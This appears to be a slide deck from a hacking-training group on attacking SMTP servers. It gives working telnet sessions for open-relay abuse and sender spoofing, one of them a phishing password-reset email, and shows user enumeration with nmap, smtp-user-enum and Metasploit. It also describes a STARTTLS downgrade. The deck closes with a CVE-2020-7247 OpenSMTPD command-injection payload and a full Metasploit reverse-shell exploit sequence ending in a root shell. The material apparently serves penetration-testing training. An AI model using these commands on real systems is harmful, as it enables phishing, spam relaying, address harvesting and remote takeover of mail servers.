

Network Hacking & SMTP

Introduction to SMTP

- SMTP stands for **Simple Mail Transfer Protocol**.
- It is a protocol used for sending email messages between servers.
- Defined in **RFC 5321**.
- Works at the **Application Layer** (Layer 7 of the OSI Model).
- Primarily used for **outgoing email**, with protocols like IMAP/POP3 used for incoming email.

Introduction to SMTP

- The **Client** sends an email to an SMTP server.
- The **Server** checks the recipient's address and delivers the message.
- It works on **Port 25** (for relaying), **Port 587** (for submission), or **Port 465** (for encrypted connections).
- SMTP is a **text-based protocol**, meaning communication is done via simple text commands

Introduction to SMTP

- **HELO/EHLO:** Identifies the client to the server.
- **MAIL FROM:** Specifies the sender's address.
- **RCPT TO:** Specifies the recipient's address.
- **DATA:** Starts the body of the email.
- **QUIT:** Ends the SMTP session.

SMTP Exploitation Scenarios

- **Open Relays:** Servers configured to allow unauthorized relaying of emails.
- **Lack of Encryption:** Weak protection leads to email interception.
- **User Enumeration:** Identifying valid email addresses by analyzing server responses.
- **Spoofing:** Forging the sender's address to impersonate someone.
- RCE via OPENSMTPD CVE-2020-7247

Open Relay Attack

- **Description:** SMTP servers configured as "open relays" allow anyone to send emails through them without authentication.

1- Find an open relay via a scan.

2- Use a tool (e.g., Telnet) to connect and send an email from any address.

3- The attacker can send spam or phishing emails pretending to be a trusted source.

Open Relay Attack

```
telnet 10.10.10.1 25
```

```
Trying 10.10.10.1...
```

```
Connected to 10.10.10.1.
```

```
Escape character is '^]'.
```

```
220 mail.example.com ESMTP Postfix
```

- Start by identifying yourself with the **HELO** or **EHL0** command:

Open Relay Attack



RED
nexus

```
EHLO attacker.com
```

```
250-mail.example.com Hello attacker.com
```

```
250-SIZE 35882577
```

```
250-PIPELINING
```

```
250-AUTH PLAIN LOGIN
```

```
250-STARTTLS
```

```
250-ENHANCEDSTATUSCODES
```

```
250-8BITMIME
```

```
250 DSN
```


Open Relay Attack

- **Send a spoofed email** using the MAIL FROM, RCPT TO, and DATA commands:

Open Relay Attack



RED
nexus

```
MAIL FROM:<spoofed@victim.com>
```

```
250 OK
```

```
RCPT TO:<target@company.com>
```

```
250 OK
```

```
DATA
```

```
354 End data with <CR><LF>.<CR><LF>
```

```
From: spoofed@victim.com
```

```
To: target@company.com
```

```
Subject: Fake Email
```

```
This is a test email to show how open relay can be abused.
```

```
.
```

```
250 OK: queued as 12345
```



Open Relay Attack

- After finishing disconnect from the server

```
QUIT
```

```
221 Bye
```

```
Connection closed by foreign host.
```

Open Relay Attack

- Can use metasploit to execute open relay attack

```
msfconsole
```

```
use auxiliary/scanner/smtp/smtp_relay
```

```
set RHOSTS 10.10.10.1
```

```
set MAILFROM attacker@evil.com
```

```
set MAILTO victim@test.com
```

```
set THREADS 5
```


Open Relay Attack

```
run
```

```
[*] 10.10.10.1:25 - Attempting to relay through 10.10.10.1  
[*] 10.10.10.1:25 - Mail relayed successfully: attacker@evil.com -> victim@test.com  
[*] 10.10.10.1:25 - Open relay detected on 10.10.10.1!
```

If the SMTP server is not an open relay, you will see an error or rejection message, such as:

```
[*] 10.10.10.1:25 - Relaying denied: 550 5.7.1 Unable to relay  
[*] 10.10.10.1:25 - Server does not allow relaying.
```

Email Spoofing via SMTP

```
telnet 10.10.10.1 25
```

```
EHLO attacker.com
```

- Output would be

```
250-mail.example.com Hello attacker.com
```

```
250-AUTH LOGIN PLAIN
```

```
250 DSN
```




RED
nexus

MAIL FROM:<admin@trusted.com>

250 OK

RCPT TO:<victim@company.com>

250 OK

DATA

354 End data with <CR><LF>.<CR><LF>

From: admin@trusted.com

To: victim@company.com

Subject: Urgent Update Required

Please visit the following link to reset your password: <http://malicious-link.com>

.

250 OK: queued as 67890

Email Spoofing via SMTP

- Connect to an SMTP server (e.g., via Telnet).
- Send an email where the "MAIL FROM" command specifies a fake or trusted address.
- Victim believes the email is from a legitimate source, making them more likely to follow malicious links or instructions.
- **Real-World Impact:** This is often used in phis

SMTP User Enumeration

- **Description:** Identifying valid email addresses by analyzing server responses to RCPT
- The attacker sends a **RCPT TO** command for a list of possible users (e.g., admin@domain.com).
- The server's response indicates whether the email exists or not.
- With valid email addresses in hand, the attacker launches **targeted attacks** like phishing or brute force login attempts
- Showing responses like "550 No such user" and "250 OK" in SMTP communication.

SMTP User Enumeration

```
telnet 10.10.10.1 25
```

```
EHLO attacker.com
```

```
250-mail.example.com Hello attacker.com
```

```
250-AUTH LOGIN PLAIN
```

```
250 DSN
```


SMTP User Enumeration



RED
nexus

```
MAIL FROM:<attacker@attacker.com>
```

```
250 OK
```

```
RCPT TO:<admin@company.com>
```

```
250 OK
```

```
RCPT TO:<nonexistent@company.com>
```

```
550 5.1.1 User unknown
```

SMTP User Enumeration



RED
nexus

```
RCPT TO:<admin@company.com>  
250 2.1.5 Ok  
RCPT TO:<invalid@company.com>  
550 5.1.1 User unknown
```


SMTP User Enumeration

- You can use nmap to enumerate users as :

```
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,RCPT} 10.10.10.1_
```

```
PORT      STATE SERVICE  
25/tcp    open  smtp
```

```
| smtp-enum-users:  
|   Valid user: admin@company.com  
|   Valid user: support@company.com  
|   Valid user: info@company.com
```



SMTP User Enumeration

- Can use smtp-user-enum command to enumerate users in linux

```
smtp-user-enum -M VRFY -D example.com -U users.txt -t 10.0.0.1
```

- But remember to download wordlist users.txt from google

SMTP User Enumeration

Can use Metasploit to attack smtp port as

```
msfconsole
```

```
use auxiliary/scanner/smtp/smtp_enum
```

```
set RHOSTS 10.10.10.1
```

```
set RPORT 25
```

```
set USER_FILE /path/to/userlist.txt
```



RED
nexus

SMTP User Enumeration

```
run
```

```
[*] 10.10.10.1:25 - 220 mail.company.com ESMTP Postfix  
[*] 10.10.10.1:25 - Found user: admin@company.com  
[*] 10.10.10.1:25 - Found user: hr@company.com  
[*] 10.10.10.1:25 - Found user: support@company.com
```


Downgrading Encryption

- Exploiting Weak Encryption in SMTP
 - SMTP was originally plaintext, and attackers can exploit servers with STARTTLS by forcing a downgrade to plaintext.
- 1- Intercept the communication and strip out the STARTTLS command (forcing the client to proceed without encryption).
 - 2- Capture sensitive information like **credentials** or **message content**

Exploit OpenSMTPD RCE

- In 2020 , New Rce Vulnerability was discovered over opensmtpd server that allows the attacker to execute remote commands via the system
- It was CVE-2020-7247

Exploit OpenSMTPD RCE



RED
nexus

```
HELO example.com
250 example.com Hello
MAIL FROM:<;exec /bin/sh -c 'echo Vulnerable | mail attacker@example.com';>
250 2.1.0 Ok
RCPT TO:<victim@example.com>
250 2.1.5 Ok
DATA
354 Enter mail, end with "." on a line by itself
.
250 2.0.0 Ok: queued
QUIT
```



Exploit OpenSMTPD RCE

- We would use metasploit to exploit RCE

```
msfconsole
```

```
use exploit/unix/smtp/opensmtpd_mail_from_rce
```

```
set RHOSTS 10.10.10.1
```

```
set RPORT 25
```




RED
nexus

Exploit OpenSMTPD RCE

```
set PAYLOAD cmd/unix/reverse
```

```
set LHOST <your_local_ip>
```

```
set LPORT 4444
```

```
exploit
```

Exploit OpenSMTPD RCE



RED
nexus

```
[*] Started reverse TCP handler on <your_local_ip>:4444  
[*] 10.10.10.1:25 - Sending exploit...  
[*] Command shell session 1 opened (<your_local_ip>:4444 -> 10.10.10.1:12345) at 2024
```

```
sessions -i 1
```

```
whoami
```

```
uname -a
```


Introduction to SMTP

- If the attack successful the output should be like

```
root
```

```
Linux victim-machine 4.15.0-54-generic #58-Ubuntu SMP x86_64 GNU/Linux
```

- <https://my.ine.com/labs/1326f86d-6cc2-4373-83c4-f2ce1ad98612>



```
msfconsole           # Start Metasploit

use exploit/unix/smtp/opensmtpd_mail_from_rce # Load the OpenSMTPD exploit

set RHOSTS 10.10.10.1           # Set the target SMTP server

set RPORT 25                   # Set the target SMTP port (default: 25)

set PAYLOAD cmd/unix/reverse    # Set the reverse shell payload

set LHOST <your_local_ip>       # Set the attacker's IP for the reverse shell

set LPORT 4444                 # Set the port for the reverse shell listener

exploit                   # Execute the exploit

sessions -i 1               # Interact with the shell after exploitation
```



Join Us



- Facebook Page
- <https://www.facebook.com/profile.php?id=61560815391535>
- Whatsapp group
- <https://whatsapp.com/channel/0029VaqYJmc59PwLOkRzP2oe>
- Chat Group
- <https://chat.whatsapp.com/F5KJa2f7CrzBD4dPlCSquA>